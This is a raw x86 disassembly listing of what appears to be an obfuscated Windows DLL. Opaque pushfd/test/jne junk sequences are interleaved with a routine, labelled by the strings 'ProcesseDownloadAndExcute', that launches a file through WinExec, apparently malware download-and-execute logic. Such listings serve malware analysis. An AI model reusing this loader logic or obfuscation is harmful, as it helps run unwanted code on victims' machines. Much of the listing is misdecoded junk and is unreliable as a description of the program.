sbb byte [ebx - 0x16fc46e0], bl
add ebp, ecx
push esi
in al, dx
dec byte [ecx - 0x1f2b29a1]
xchg edi, eax
je 0x100929a6
mov eax, 0x5daa6bb6
and byte [edx + 0x13], 0x1c
movsd dword es:[edi], dword [esi]
outsd dx, dword [esi]
add byte [esi - 0xa], ah
rcr byte [edx + 0x48059805], 1
adc al, 0xf5
or dh, ah
add al, 0x1e
test dh, bh
inc edi
mov word cs:[esi + 0x31], es
mov bl, 0x27
insb byte es:[edi], dx
add edx, 0xffffffc7
jg 0x10092992
push esp
fmulp st(6)
or al, 0x1d
inc edi
stosb byte es:[edi], al
lodsd eax, dword [esi]
test byte [ecx - 0x11bd245d], ch
sbb eax, 0x84adaa47
test eax, 0xee42dba3
clc
inc ecx
mov ebp, 0x78484227
aam 1
add ah, byte [0x4f540245]
inc edx
dec eax
js 0x1009297e
add dword [edx], eax
and eax, 0x4f540245
push edi
in al, dx
xor byte [0xccabe724], ah
lds edi, [ecx + 0x7d]
aaa
push es
fild word [edx - 0x2ae558cb]
pop esi
or al, 0x64
cmp al, 0x30
and eax, 0x3867c4f2
or eax, 0x8f80398a
imul byte [edi]
mov esp, dword es:[edi]
push ebp
mov ch, 0x7f
cmpsd dword [esi], dword es:[edi]
pop ecx
popfd
xor dword [eax + 0x1c], ebx
fld dword [edx + 0x6f]
salc
xchg ebx, eax
jno 0x100929c5
and esp, dword cs:[edx]
xor al, 0x20
int 0x43
cmp esi, dword [esi - 0x6e3ed9ce]
adc dh, byte [ebx + 0x51]
lahf
mov bl, dl
push ss
xor dword [ecx + 0x5a940e54], eax
xchg esp, eax
pop edx
add esi, dword [eax]
jno 0x100929bd
inc edi
mov bh, 0x3d
pushal
out 0x8c, al
push eax
xchg esp, eax
outsd dx, dword [esi]
mov esp, dword [esp + ebx*2]
cmpsd dword [esi], dword es:[edi]
adc bl, 0x6c
mov ebp, 0x7678eb96
pop ds
test byte [ecx + 0x10761d5c], ch
mov gs, word [edx + 0x24]
popfd
push edi
call fcn.10049c0c
add esp, 0x14
push edi
push 1
lea ecx, [ebp - 0x130]
call fcn.10002a9a
or eax, 0xffffffff
call fcn.1011e585
ret 4
push esi
pushfd
test byte [0x10092b31], 0x30
jne 0x10092b32
in eax, 3
sti
dec edx
mov bh, 0x51
mov eax, dword [0xd1bbb28]
or ebp, dword [ebp + 0x49ade00c]
xor byte [edx + 0x33], bh
sbb al, 0xdf
in al, 0x46
ja 0x10092a01
and byte [edx], dl
outsb dx, byte [esi]
dec esi
push ebx
inc ecx
cli
adc ebp, dword [eax - 0x79]
into
lds ebx, [ebx - 0x5024ff0e]
xchg ebp, eax
test al, 0x69
add eax, 0xf94b1126
push eax
mul dword [esi]
dec ebp
dec ebp
scasd eax, dword es:[edi]
jg 0x10092b07
aad 0x86
push esp
popfd
ror bl, 1
mov eax, 0x8701d7d2
das
push cs
insb byte es:[edi], dx
push cs
or esp, dword [0xd3e69636]
adc ecx, dword [ebx]
lodsb al, byte [esi]
enter 0xffffffffffffd983, 0x2a
popfd
sbb edi, dword [edx]
std
or edi, dword [edx]
pop ebp
cmp ebp, edi
sbb eax, dword [esi - 0x6a]
rcr byte [esi], 1
sbb esp, edi
test byte [edi - 0x49faea9a], bh
frstor dword [edi]
test dword [ebp - 0x791f0a33], eax
rol dword [ebp + 0x357af406], 0x4e
test eax, 0xd0f8467b
out 0xfb, eax
les esi, [ebx + 0x5fb46c9b]
cmpsb byte [esi], byte es:[edi]
shl dl, 1
mov cl, 0xf6
xor dword [edi - 0x7dc1400f], edx
sub byte [edi + 0x1221f728], cl
jle 0x10092a8d
add eax, dword [ebx + ebx + 0x27654304]
insd dword es:[edi], dx
pop esi
mov dword [0x15add4e6], eax
pop ss
cmp ecx, dword [eax + 0x61]
sub ebx, dword [edx]
cwde
pop esp
mov bh, 0x1b
mov esi, 0x46d56146
add ebx, ebx
std
xor byte [ecx - 0x5f], 0x73
fdiv st(0), st(0)
and ecx, dword [edi - 0x10]
aad 0x71
xchg ebp, eax
lahf
dec edi
shr byte [eax], 0x37
lodsd eax, dword [esi]
fisubr dword [esi + 0x3ef3e4e2]
adc dl, byte [edi]
push es
invalid
invalid
popfd
call fcn.1011d740
pushfd
test byte [0x10092bc9], 0x35
jne 0x10092bca
popfd
out dx, al
xor dword [esp + 0x3a], edi
in eax, dx
jnp 0x10092b8e
arpl si, cx
arpl word [eax], si
pop ecx
arpl di, ax
fild dword [eax]
out dx, al
dec ecx
int1
outsb dx, byte [esi]
adc bh, byte [ebp + 0xa]
lodsb al, byte [esi]
call 0x2b6a580c
dec ebp
mov dword [0x89de93c2], eax
push cs
add eax, 0xcfdfce53
jbe 0x10092b13
mov eax, dword [0x299abd65]
mov al, byte [0x5d7fbc60]
pop eax
lahf
movsb byte es:[edi], byte [esi]
add bh, bh
pop ebx
pop edi
int1
pop ebp
mov byte [esi + 0x57807083], bl
mov ch, byte [esi + 0x3eaaa92b]
insd dword es:[edi], dx
test dword [ebx], 0x4f8b0909
push edi
push es
add dword [eax - 0x4de96b40], 0x99d109f2
sub ebp, dword [ecx - 0x892c156]
add ecx, dword [ecx]
or dword [ebx - 0x7ef9a8b1], ecx
add al, 0x94
push ss
mov dl, 0xf2
or ecx, edx
cdq
jle 0x10092bd1
dec esi
sub edi, ebp
in eax, dx
mov dl, 0xd
dec edi
pop ebp
or al, 0x19
sub eax, esi
inc ebp
xchg byte [eax], dl
mov ah, 0x32
pop ds
aam 3
sub cl, bh
arpl word [ecx], di
insd dword es:[edi], dx
and ah, byte [esp + eax*2]
xlatb
xchg esp, eax
nop
aad 0xee
cld
push ebp
popfd
pop ecx
push eax
push esi
pushfd
test byte [0x10092cb1], 0x4f
mov cl, 0x2c
or dword [eax], edx
dec edi
jne 0x10092cb2
push ds
enter 0x3d73, 0x33
push esi
mov byte [ecx], 0xf
lds esi, [esi - 0x47df6dad]
popal
pop esi
pushfd
pop esi
out 0x81, al
xchg ebp, eax
test al, 0xc
insd dword es:[edi], dx
outsb dx, byte [esi]
nop
sbb eax, 0x27e0247
cmp bh, bh
push ebp
mov esp, 0x3d7fa898
cmp byte [ecx - 0x71af2816], cl
inc edi
mov dl, 0x7c
int3
ljmp 0xb264:0x478e50d7
pushal
cli
jns 0x10092c08
xchg edi, eax
js 0x10092cfe
pop ebx
fisttp word [edx - 0x13]
sahf
aaa
xchg edx, eax
lodsd eax, dword [esi]
add ch, byte [ebx - 0x4682dc43]
imul ebp, dword [ebx + 0x21ae1e2a], 0x16
mov esp, cs
invalid
popfd
lea ecx, [ebp - 0x130]
call fcn.10005303
pushfd
test byte [0x10092cd2], 0x5b
jne 0x10092cd3
adc al, ch
xlatb
lea esp, [0xe10e8b5e]
js 0x10092c83
popfd
jmp 0x10092cdc
mov ebx, dword [ebp - 0x174]
lea eax, [ebp - 0x130]
push eax
mov esi, 0x10147808
lea eax, [ebp - 0x14c]
push esi
push eax
call fcn.10078833
add esp, 0xc
pushfd
test byte [0x10092d24], 0x8f
jne 0x10092e25
adc byte [edi + 0x11f850f], cl
add byte [eax], al
into
jecxz 0x10092ce2
xchg esi, eax
lodsb al, byte [esi]
pop esp
imul ecx, dword [ebx - 0x7b], 0x8e5e511f
mov ecx, 0xf460ea55
sub ebx, esp
mov ch, 0x30
in eax, dx
jo 0x10092d90
cmpsd dword [esi], dword es:[edi]
pop ecx
mov dword [0xe27a6046], eax
mov byte [esi], al
int3
and dh, al
dec edx
popfd
imul esi, dword [ecx], 0x74492bf3
xchg byte [edx + ebx*8], bh
sti
mov ebx, 0xa32ea8ca
mov esi, 0x80c4cbf9
sub dh, 0xe5
int3
lds ecx, [edi + 0x79]
sub byte [edx + 5], bl
xor ch, byte [ebp - 0x5f]
jno 0x10092d60
insd dword es:[edi], dx
mov eax, dword [0x2a48c571]
xchg byte [ecx + 0x10dad039], bh
and bl, byte [ebx + edi + 0x5a]
cmp dword [edx], ebp
dec eax
sub al, byte [esi - 0x252fc647]
adc byte [edx], ah
pop esp
cmp ebx, dword [edx - 0xe]
cmp dword [edx], ebp
dec ecx
sbb ch, byte [edx]
out dx, eax
cmp dword [esi - 0x75], ecx
cmp al, 0x79
shr byte [ecx], 0x8b
fcom st(6)
jns 0x10092d97
loop 0x10092e08
xchg edx, eax
clc
xchg ch, bl
insd dword es:[edi], dx
push ebp
or eax, 0x51193294
mov dword [0xa7d0ae92], eax
mov edx, 0x887adccf
cmpsd dword [esi], dword es:[edi]
enter 0xffffffffffffe12f, 0x2e
cld
or eax, 0x286e0e9d
or dword [edx - 0x56], ebx
les ebp, [edx - 0x54]
sar dword [edx + eax*2], 1
inc byte [edx + 0x502e69ca]
aam 0xec
imul ebp, dword [esi], 0xa1ecd450
sub ebp, ecx
xchg dword [eax], ebp
in al, dx
mov eax, dword [0x2887cd29]
mov ebp, 0xd8a4fe78
push ecx
shl dword [eax + 0x440e7f8e], 1
jb 0x10092deb
pop esp
inc ebx
int 0x66
rol dword [esi], cl
rol word [esi], cl
jne 0x10092def
packssdw mm6, qword [edi - 0x267168b0]
mov eax, 0xd60a393d
xor dword [eax - 0x6e], ecx
dec esi
adc bh, byte [edi]
daa
insb byte es:[edi], dx
movsd dword es:[edi], dword [esi]
test al, 0xe5
nop
popfd
push eax
lea ecx, [ebp - 0x130]
pushfd
test byte [0x10092e43], 0x15
jne 0x10092f44
or dword cs:[eax], edx
adc eax, 0x109850f
add byte [eax], al
or esi, dword [ecx - 0x1c]
xor eax, 0x230e2968
and ch, byte ds:[ebx + 0x1f]
xchg ebx, eax
xchg esp, eax
mov ebx, 0x3a333ff
mov edi, 0x625d7fe
mov esi, 0xfad4ff79
into
pop esi
dec ebx
dec edi
movsb byte es:[edi], byte [esi]
movsb byte es:[edi], byte [esi]
cli
lahf
scasd eax, dword es:[edi]
cmc
xor ebp, esi
jae 0x10092e43
and esi, dword [edi + 0x20]
sbb al, byte [ebx]
rcr dword [ecx + 0x4a7504a7], cl
sub al, byte [esi + ecx + 0x46]
fsubr qword [ecx]
out 0x3c, al
cld
mov ah, 0x1a
mov ebp, 0x150899b6
stosb byte es:[edi], al
movsd dword es:[edi], dword [esi]
int 0xcf
or eax, 0xb14a442b
in al, 0x6f
dec esp
in al, dx
mov esp, ecx
jbe 0x10092e31
out dx, al
call fcn.1008e06a
in al, 0xbf
xchg esi, eax
in eax, dx
xchg ebp, eax
popal
div byte [edi]
xor al, 0x27
mov dword [0xa1283f71], eax
rcr dword [ecx - 0x2b], 0xfc
mov edi, 0x90dacdf7
fcmovne st(0), st(1)
jl 0x10092f20
mov ebx, 0xdc72b57a
lodsd eax, dword [esi]
or al, 0x3a
je 0x10092f0d
push 0x7a
daa
pop esi
rol dword [ebx + 0x44aee690], 1
mov esi, 0x50c4db8c
sbb dl, byte [ecx - 0x10772a3c]
je 0x10092eca
les edx, [eax + 0x1a]
xchg ecx, eax
invalid
add ebx, dword [edx + 0x62]
jl 0x10092eeb
lds edx, [ebx + 0x5987562c]
push edi
int1
jno 0x10092e9f
and al, 0x54
fcom dword [eax]
fcom dword [0x6fc88cc2]
push edi
cmp al, 0xc9
enter 0x576f, 0x3c
leave
pop ds
call 0xca8376ff
pop es
and byte [ecx + 0x4f], cl
pop edx
push ds
test byte [edx + edi*2 - 0x6b3839a1], 0xbc
mov dh, 0x62
sub al, byte [ecx + ebp*4 - 0x4f]
cmc
add eax, 0x2825d787
sub dword [eax - 6], esp
sub byte [ecx], ch
pushal
cli
inc edx
je 0x10092f12
jnp 0x10092ec7
mov cl, 0x8d
pop edx
clc
lahf
xchg ebx, eax
sal dword [ebx + ebp*8], 0x51
pop esp
fadd qword [eax - 0x68ae8bdb]
mov byte [esi + 0x65134fb6], dh
mov ch, dl
ror dword [eax + ecx + 0xf], 1
xchg edx, eax
and ah, byte [esi + 0x2c]
push edx
inc byte gs:[ebx + 0x46aa8721]
popfd
mov byte [ebp - 4], 3
call fcn.10005d3b
push edi
push 1
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0
call fcn.10002a9a
pushfd
test byte [0x10092f7a], 0xa6
jne 0x1009307b
inc edi
fidiv dword [ecx - 0x52fd4791]
sbb al, 0x87
and esi, edi
in eax, dx
xlatb
inc ecx
bound ebx, qword [0x1df093cb]
cmp bl, byte [ebx + edx]
sbb esi, edi
mov esp, 0x15e0b773
mov eax, 0x79418b1d
add ch, al
sar dword [ecx], cl
cmp byte [ebx + 0x10], 0x5b
sbb byte [ebp + 0x7b], dh
sbb eax, 0x19131c3a
invalid
jns 0x10092f95
call 0x8b8b696b
adc byte [ebx + 0x18], bl
cmp dword [edx + 0x185b107b], eax
jne 0x10093018
xchg bx, ax
movsb byte es:[edi], byte [esi]
inc esp
insd dword es:[edi], dx
cld
adc eax, 0x4c7ed64
aam 0xfe
cwde
xchg esp, eax
or dword [eax - 0x23cb8582], ecx
cmp byte [eax - 0x64], ch
mov dword [edi], esi
mov dh, 0xfe
les esp, [ebx + 0x681ef105]
jp 0x10092fe5
fdivr qword [eax]
push 0xb637899c
inc ah
mov dword [0x681ef105], eax
jns 0x10092faf
add eax, 0xe21b670d
pushfd
in al, dx
xchg byte [edx - 0x11], dl
mov bh, 0xc8
mov eax, 0xa8d7f80e
sahf
arpl word [edi - 0x54], di
popfd
adc cl, dl
lodsb al, byte [esi]
dec esi
cwde
in al, dx
sbb byte [edx], ah
enter 0x3874, 0xffffffffffffffa1
shl dword [edi - 0x33], 0x98
int 0x98
mov al, 0x78
jge 0x10092f91
jg 0x10093011
enter 0x5f92, 0xfffffffffffffff7
xor al, 0x91
pop edi
das
and dword [esi], ebx
jb 0x10093078
jle 0x1009300d
adc bl, byte [ecx + 0x1a]
push edx
jbe 0x10092f82
pop ecx
sbb ah, byte [edx + edx*2 + 0x76]
xor ebx, 0xab5b1810
adc byte [eax], bl
pop ebx
stosd dword es:[edi], eax
popal
rcr dword [0x52cee93d], cl
stosb byte es:[edi], al
fsubr qword [ecx]
inc edx
cmpsd dword [esi], dword es:[edi]
rcl ebx, cl
ja 0x10092ff9
salc
mov al, 0xf4
xor al, 0xe1
arpl word [ebx + 0xc161e22], cx
push edi
fnsave dword [edx]
stosd dword es:[edi], eax
push cs
mov ch, byte [edi]
adc dword [ebx + 0x60], 0x24
mov edx, 0x14a7bccd
and ah, byte [ecx + 0x71]
bound ebp, qword [ecx + esi*8]
sub byte [eax], 0x37
jns 0x10093048
hlt
mov bl, 0x2f
rcr byte [ebx - 0x33], cl
add ch, dh
movsd dword es:[edi], dword [esi]
aas
scasb al, byte es:[edi]
fidiv dword [ebx]
scasb al, byte es:[edi]
xchg ecx, eax
aam 0x8a
out 0x52, al
inc ebp
and esp, dword [edi - 0x24d9c935]
test eax, 0xe3486e88
xor al, 7
shl dword [eax], 1
sal ebx, 0x7d
mov al, 0x81
xor edi, dword [eax + 0x3c]
and eax, 0x4dac7b4c
lodsb al, byte [esi]
dec ebp
sub dword [esi], eax
pop ebx
pop ebx
sub dword [ebx], edi
push esi
sar dword [ebp*8 - 0xf5868e8], 0x58
cmpsd dword [esi], dword es:[edi]
invalid
popfd
push esi
call fcn.1011d740
pop ecx
push eax
push esi
lea ecx, [ebp - 0x130]
call fcn.10069c89
pushfd
test byte [0x1009313a], 0xc
jne 0x1009313b
adc dword [ecx], ebx
and dword [edx], eax
push ecx
dec ebx
rol dword [eax + 0x9a43ded], 0x2f
inc esi
shr dword [0x8192f68b], 0xf9
dec edi
out 0xd5, al
or bh, bh
stosb byte es:[edi], al
mov dword [0x334f1594], eax
add al, 0x38
rcl bh, 0xb7
mov dword [0xb3b75c7b], eax
push ebx
stosd dword es:[edi], eax
cmp byte [eax + esi*8 - 0x25], ah
mov dword [ebp + 0x51], edi
inc edx
push ebx
out 0xa6, eax
mov edi, 0x82ad2b86
cmp al, 0x1a
in eax, dx
xor eax, ebx
xchg ecx, eax
push ss
mov eax, dword [0xd3de0198]
jg 0x10093069
ficom dword [eax - 0x76]
xchg ebx, eax
inc edi
out dx, eax
push esi
push ebp
push ebp
scasd eax, dword es:[edi]
das
jl 0x10093155
xchg ebx, eax
sbb ch, 0xbb
out dx, eax
scasb al, byte es:[edi]
inc cl
lahf
push ds
stosd dword es:[edi], eax
adc dword [ecx - 0x352080de], esi
dec eax
sub byte [edi + 0x6c], cl
aas
pop eax
mov byte [edx - 0x6c682b81], bh
cmp byte [eax - 0x6b7882e0], ah
rcr byte [ebx], 1
cmpsd dword [esi], dword es:[edi]
push edx
cmp eax, ecx
inc edi
inc ecx
or byte [ebx + 0x17325a05], 0x86
rol dword [edi + 0x41], 0x80
mov eax, dword [0x8617325a]
sub byte [esp + esi*8], dl
lahf
fiadd word [ebp - 0x7892ef2a]
sbb cl, byte [ebx + 0x3b076d7]
pop es
outsd dx, dword [esi]
mov dh, 0xbf
popfd
cmp dword [ebp - 0x16c], edi
je 0x10093243
mov esi, 0x10146828
push esi
call fcn.1011d740
pop ecx
push eax
push esi
lea ecx, [ebp - 0x130]
call fcn.10069c89
push dword [ebp - 0x16c]
call fcn.1011d740
pushfd
test byte [0x1009322e], 0xc8
adc al, cl
jne 0x1009322f
push edx
bound eax, qword [eax]
pop eax
or byte [ebx*2 + 0x3d3cd0a2], al
popfd
inc edx
movsb byte es:[edi], byte [esi]
jo 0x100931be
jb 0x1009311d
cmc
mov ebp, 0x33b08428
mov dword [0xac005566], eax
fadd qword [esi - 0x5d]
int1
popfd
adc dword [eax + 0x7e334dec], 0xb294233a
xor eax, 0x1747b707
dec ebp
sbb esi, dword [edi + 0x75]
mov eax, 0x5d3371a6
cmpsb byte [esi], byte es:[edi]
jno 0x100931e8
pop ebp
lds esi, [edi + esi*8 - 0x7c]
adc byte [ebx + edi*8 + 0x40], dl
inc eax
jecxz 0x10093172
and byte [ecx], dl
dec edx
inc esi
rcr dh, 1
adc edx, dword [ecx + 0x287bc258]
mov word [ecx], es
scasb al, byte es:[edi]
add al, 0xe1
call 0x6e267519
das
cld
jo 0x100931bd
pop ss
xchg esi, eax
sbb bl, byte [edi - 0x39f5d3d7]
xchg ebp, eax
jo 0x100931f2
dec ebx
test al, 0xd2
bound ebx, qword [ebp - 0x24]
mov al, byte [0xdefbde23]
shl byte [edx + 0x5d], cl
fsub qword [eax - 0x210421dd]
push ecx
mov dl, 8
je 0x100931b2
fisttp dword [ebx - 0x311e1b09]
sub al, 0x14
aad 0x84
sub al, 0x1f
fild dword [edx - 0x14]
mov dword [0x533eb289], eax
mov al, 0xf6
pop ecx
mov esi, 0x59dbb60c
insd dword es:[edi], dx
xlatb
shr dword [esi - 0x30], 1
stosb byte es:[edi], al
xchg edx, eax
add eax, 0xb971a193
not byte [edx + esi*4 + 0x44caf465]
call 0xcad76f62
sbb cl, byte [esi + edi*2 - 0x77]
out dx, al
popfd
pop ecx
push eax
push dword [ebp - 0x16c]
lea ecx, [ebp - 0x130]
call fcn.10069c89
cmp dword [ebp - 0x11c], 0x10
mov eax, dword [ebp - 0x130]
jae 0x10093258
lea eax, [ebp - 0x130]
push eax
push str.ProcesseDownloadAndExcute::szExuteFile:_s
push edi
pushfd
test byte [0x100932f3], 0xc5
jne 0x100932f4
and al, 0x76
pop ss
mov eax, 0xef68db7b
pop ecx
mov dl, 0x33
adc dword [esi + 0xb3100af], ecx
movsb byte es:[edi], byte [esi]
int1
out dx, eax
inc esi
inc edi
clc
out dx, eax
div ebx
imul ebp
sti
xchg esp, eax
popfd
cmp byte [esi - 0x53], 0xdb
and eax, dword [ebx]
xchg ebp, eax
pop edi
stosb byte es:[edi], al
xchg ebx, eax
xor dl, cl
int3
popfd
push 3
call fcn.10049c0c
mov eax, dword [ebp - 0x130]
add esp, 0x10
cmp dword [ebp - 0x11c], 0x10
jae 0x10093314
lea eax, [ebp - 0x130]
push edi
push eax
call dword [sym.imp.KERNEL32.dll_WinExec]
cmp eax, 0x1f
jg 0x10093519
pushfd
test byte [0x10093346], 0x20
jne 0x10093447
and dl, ah
and ecx, ebp
pushal
fild qword [esi]
dec esi
xor eax, 0x2050bf06
pushal
mov ecx, 0xeb84db03
in al, 0x3f
call 0x51d9ad3d
inc ecx
aad 0xf3
mov ecx, 0xcb179dc6
xchg edx, eax
fstp dword [ebp + eax*2 + 0x18edffad]
in al, 0xd6
mov ebp, 0x172f41eb
cwde
mov ebx, 0x49a3691c
mov word [edx - 0xc5733d4], gs
adc ebp, dword [ebx - 0x145ade97]
sbb dword [ebp + 0x4d], eax
dec ebp
mov ebx, 0x56fe847e
test dh, bh
push esi
pop ss
ficomp word [ebp + 0x718afc9a]
jne 0x1009337e
punpckhdq mm2, qword fs:[ebx + 0x511ab536]
push edi
and dl, byte [ebp + 0x2d4f0be3]
mov al, 0xca
xchg ebp, eax
jle 0x100933ed
cmpsd dword [esi], dword es:[edi]
jnp 0x1009341b
adc al, 0x68
pop ebx
mov dh, 0x6c
sahf
mov ecx, 0x55880f5e
scasb al, byte es:[edi]
push ecx
mov ah, ch
sub dword [esi - 0x28], 0x8eb99d6c
or dword [ecx - 0x613fb3c3], 0x3c
cmp eax, 0x3c9ec04c
add eax, 0x721e52bb
test eax, 0x86bcd436
stosd dword es:[edi], eax
fdivr dword [ebp + 0x17]
sahf
call 0x7d179d50
mov ah, 0x28
mov byte [ebx - 0x3e], al
xlatb
adc al, 0x8b
jge 0x10093394
cmc
jne 0x100933ad
mov cl, 0xf0
or al, 0xdd
mov edx, 0x8f77e7b6
dec esi
mov dword [ebx + 0x73], ebp
dec ebx
stosb byte es:[edi], al
adc ebp, dword [ebx - 0x4e90107e]
js 0x1009346f
outsb dx, byte [esi]
pop ds
cmp bl, byte [ecx]
aas
and byte [esi + 0x55245e55], 0xde
mov al, byte [0x211ec102]
shr byte [eax], 0xf9
sub edx, dword [edi - 0x4e73bb3f]
xor eax, 0xc1310e70
xor byte [ebx - 0x2f], cl
xchg dword [ebx], edi
push esi
inc ecx
outsd dx, dword [esi]
jle 0x100933ba
fldcw word [ecx - 0x63e0ced9]
pop ss
or dword [edx - 0x5d79e50e], esp
dec edx
mov eax, dword [0x69a7a0a2]
xor eax, 0x4516f892
mov bl, 0x2a
mov cl, 0xd
cmp esp, 0xeadd7562
inc ebp
cli
mov bh, 0xc4
popfd
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.ProcesseDownloadAndExcute::WinExec_Error:_d
push edi
push edi
call fcn.10049c0c
add esp, 0x10
or esi, 0xffffffff
push edi
pushfd
test byte [0x100934cb], 0xda
jne 0x100934cc
stc
push cs
insd dword es:[edi], dx
push cs
dec eax
mov eax, 0xd3f49d9f
pop edi
or byte [0xa08f571], cl
in al, 0x74
test ah, ah
pushal
sub dl, bh
adc al, 0xb
pop ebp
push ss
bound esi, qword [ebx + 0x73]
add esi, dword [ebx - 0x21]
adc dword [esi - 0xa2e9102], 0xb36d6dc0
fcmovne st(0), st(4)
mov esp, 0x37c1b35f
into
int 0xd7
mov ch, 1
movsb byte es:[edi], byte [esi]
mov dword [ebp + 0x2689cbb1], edx
stc
lds ebx, [ebp - 0x59]
and ebx, 0xc695bd26
push es
stosb byte es:[edi], al
jnp 0x1009351d
lodsb al, byte [esi]
fucomp st(7)
xchg ebp, eax
mov fs, word [edx - 0x7f41cdda]
pop edi
out dx, eax
pop ebp
mov word [ebp - 0x4d], cs
inc eax
popfd
push 1
lea ecx, [ebp - 0x130]
call fcn.10002a9a
pushfd
test byte [0x10093510], 0xad
jne 0x10093511
invalid
invalid
cld
pushfd
aad 0x8b
or ch, ah
mov word [ebx], fs
sub dword [ecx + edi*8 - 0x17], 0xffffff86
and ecx, ebp
in al, dx
pop eax
sub eax, 0xf4a4714
out dx, eax
jecxz 0x100934d0
mov eax, dword [0x55a58477]
movsd dword es:[edi], dword [esi]
push ebp
inc edx
scasb al, byte es:[edi]
mov edi, 0x1fbce2b5
dec esi
inc edx
jno 0x10093500
adc bh, byte [edx + esi*2 + 0x7c]
popfd
mov eax, esi
jmp 0x10092a41
mov esi, dword [ebp - 0x170]
add esi, 0x7e0
push esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
pushfd
test byte [0x10093548], 0x36
je 0x10093649
mov ch, 0x90
invalid
invalid
test dword [edi + 0x41], 0xfaf75f4d
inc ecx
dec ebp
pop edi
idiv edx
jg 0x1009351a
aad 0xdd
cmpsb byte [esi], byte es:[edi]
jge 0x100934d3
add dword [eax - 0x76], ebp
push edx
sbb dword [edx], esi
lodsb al, byte [esi]
clc
js 0x1009353c
sbb dword [edi], esp
push 0x20c1d30b
mov dword [ebp*4 + 0x624b087], esi
adc ecx, esi
mov al, byte [0x6d0afe88]
add eax, 0xa882a370
push ebx
sub al, 0x24
dec esp
pop edx
std
cmpsb byte [esi], byte es:[edi]
mov dl, 0x17
outsd dx, dword [esi]
sub eax, edx
xor dword [ecx + 0x42], edx
int1
cvttps2pi mm1, qword [edx]
jb 0x1009359b
test dword [ecx + eax - 0x5c], 0xa0e5926a
fdivp st(7)
sub al, 0x98
push esi
fst qword [ecx + 0x25b35bf2]
and dword [esi + 0x24f4fa14], edi
push 0xffffffffffffff9f
lodsd eax, dword [esi]
add dword [0x8f2bfe6b], eax
xor ch, byte [0xa71f2774]
xchg edi, eax
xchg ebp, eax
movsd dword es:[edi], dword [esi]
sti
xchg byte [ecx + 0x476bba8a], dl
dec edx
lodsd eax, dword [esi]
and edx, esp
xor dword [edi + ebx*8 + 0x238d8c6a], edx
sar edx, 0xb6
cmpsd dword [esi], dword es:[edi]
mov bh, 0x70
or eax, esp
jo 0x10093613
les ebp, [eax]
cmpsb byte [esi], byte es:[edi]
adc byte [esi + 0x3f], bl
les edx, [esi + 0x655fdf98]
sti
sar dword [ebp + 0x54822db3], cl
std
cmp eax, 0xd9ee3c27
mov al, 0x7a
pop ebp
inc edx
cli
jle 0x1009361d
push edi
bound edx, qword [ebp + 0x14f268b3]
mov dword [0x3286454b], eax
or al, 0x7f
movsb byte es:[edi], byte [esi]
out 0xd0, al
push 0x1d91fb2a
and byte [edi - 0xf985888], bh
rol dword [ecx + 2], 0xa0
push esi
push esi
cmp al, 0x33
lds eax, [ebp + edx - 0x63f98c26]
push es
pushfd
mov dl, 0x4a
xchg dword [edi + esi*8], ebp
add dword [esi + 0x7d], esp
and byte [si], dl
rol dword [esi - 0x42959ca6], 1
int3
jo 0x100935e7
popfd
mov ecx, dword [ebp - 0x170]
push 1
add ebx, 5
pushfd
test byte [0x100936bd], 0x8f
jne 0x100936be
cwde
mov dl, 0xc0
pushal
in al, 0x62
adc cl, byte [ebp + 0x34]
pop ss
arpl word [eax + 0x4dab3adc], bp
popfd
xor dx, word [0xc9ca6157]
add byte [ebp - 0x5f3f2535], 0x67
fcom dword [esi + ecx*2]
fadd st(0), st(0)
mov esp, 0xf28a9a50
pop es
sub byte cs:[ebx + 0xb], dh
mov bh, 0x4b
sub ebp, edi
cwde
or al, 0x1e
ror esp, cl
add bl, bl
cmp dword [edx + 0x67], ecx
movsd dword es:[edi], dword [esi]
mov cl, 0x57
xchg esp, eax
xor dword [ebp - 0x75], eax
sbb dl, dl
jns 0x10093648
or ebx, dword [edi]
sbb al, 0x61
aas
cli
lodsd eax, dword [esi]
mov cl, 0x15
into
xchg ecx, eax
push ebx
xchg byte [ecx - 0x29], al
je 0x100936e5
mov dword [0x75f59af4], eax
cdq
popfd
push ebx
call fcn.10064711
push esi
pushfd
test byte [0x1009376c], 0xd8
jne 0x1009376d
xchg ecx, eax
and cl, dl
stosd dword es:[edi], eax
out 0x6a, eax
lodsb al, byte [esi]
mov ecx, 0x1f0802b9
int3
int 0x7e
dec esi
sbb eax, 0x9474f6f4
mov dword [0xdb81dd30], eax
fdivr dword [edx + 0x73]
pop ss
int 0x61
movsb byte es:[edi], byte [esi]
fnstcw word [ecx - 0x22]
xchg ecx, eax
xchg edx, eax
lodsb al, byte [esi]
pop ebx
sub dword fs:[ebx - 0x1fae622], 0x90f7b67
add dword [ebp - 0x33], ebp
jae 0x100936a7
invalid
cmpsd dword [esi], dword es:[edi]
or al, 3
jb 0x100936d4
and edi, dword [eax - 0x6c]
push ds
fsubr dword [esi + 0x2a040dc1]
adc dword [ebp - 0x2eac4e35], ebx
adc bl, ch
sub cl, byte [ebx]
jge 0x10093706
push ebx
rcl dword [edx]
invalid
je 0x10093723
pop esp
popfd
out dx, eax
xor eax, ecx
jl 0xa032268
jns 0x10093774
test al, 0x9d
pop esi
xlatb
insd dword es:[edi], dx
or edx, eax
sbb dword [ebx], eax
sbb dl, byte [ecx + 0x14]
jle 0x10093789
sbb edx, dword [esi + ebp*8 + 0x50dadd67]
fstp st(2)
push eax
xchg edi, eax
sbb byte [eax], bh
jb 0x100937c8
jne 0x1009374d
mov esi, 0x4a6b2a35
xor al, 0xc0
nop
cli
enter 0xffffffffffffff4c, 0x27
jb 0x10093768
or byte [esi], dl
mov ebx, 0xb5036458
popfd
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor esi, esi
jmp 0x10093461
xor edi, edi
pushfd
test byte [0x100937c2], 0x5f
jne 0x100938c3
in eax, dx
add ecx, dword [esi + ebp*4 - 0x6d769692]
pop eax
mov al, 0x84
loopne 0x100937bc
sbb dword [ecx + edx*8], edi
cmp dh, byte [ecx - 0x1f]
idiv dword [edi - 0x3c]
mov edx, 0x6363b29e
mov ecx, 0x7bf53788
fistp dword [esi]
sbb al, 0x66
xchg edx, eax
and dl, al
shr dword [edx - 0x27], 1
inc ebp
mov bh, 0x6a
or dl, byte ss:[ebp - 0x30]
dec byte [edi - 0x1d]
movsd dword es:[edi], dword [esi]
pushfd
sub ecx, 0x30
insd dword es:[edi], dx
jle 0x10093836
rcr byte [edi + 0x515b7b84], 1
insd dword es:[edi], dx
xchg esp, eax
adc al, 0xee
jl 0x1009385e
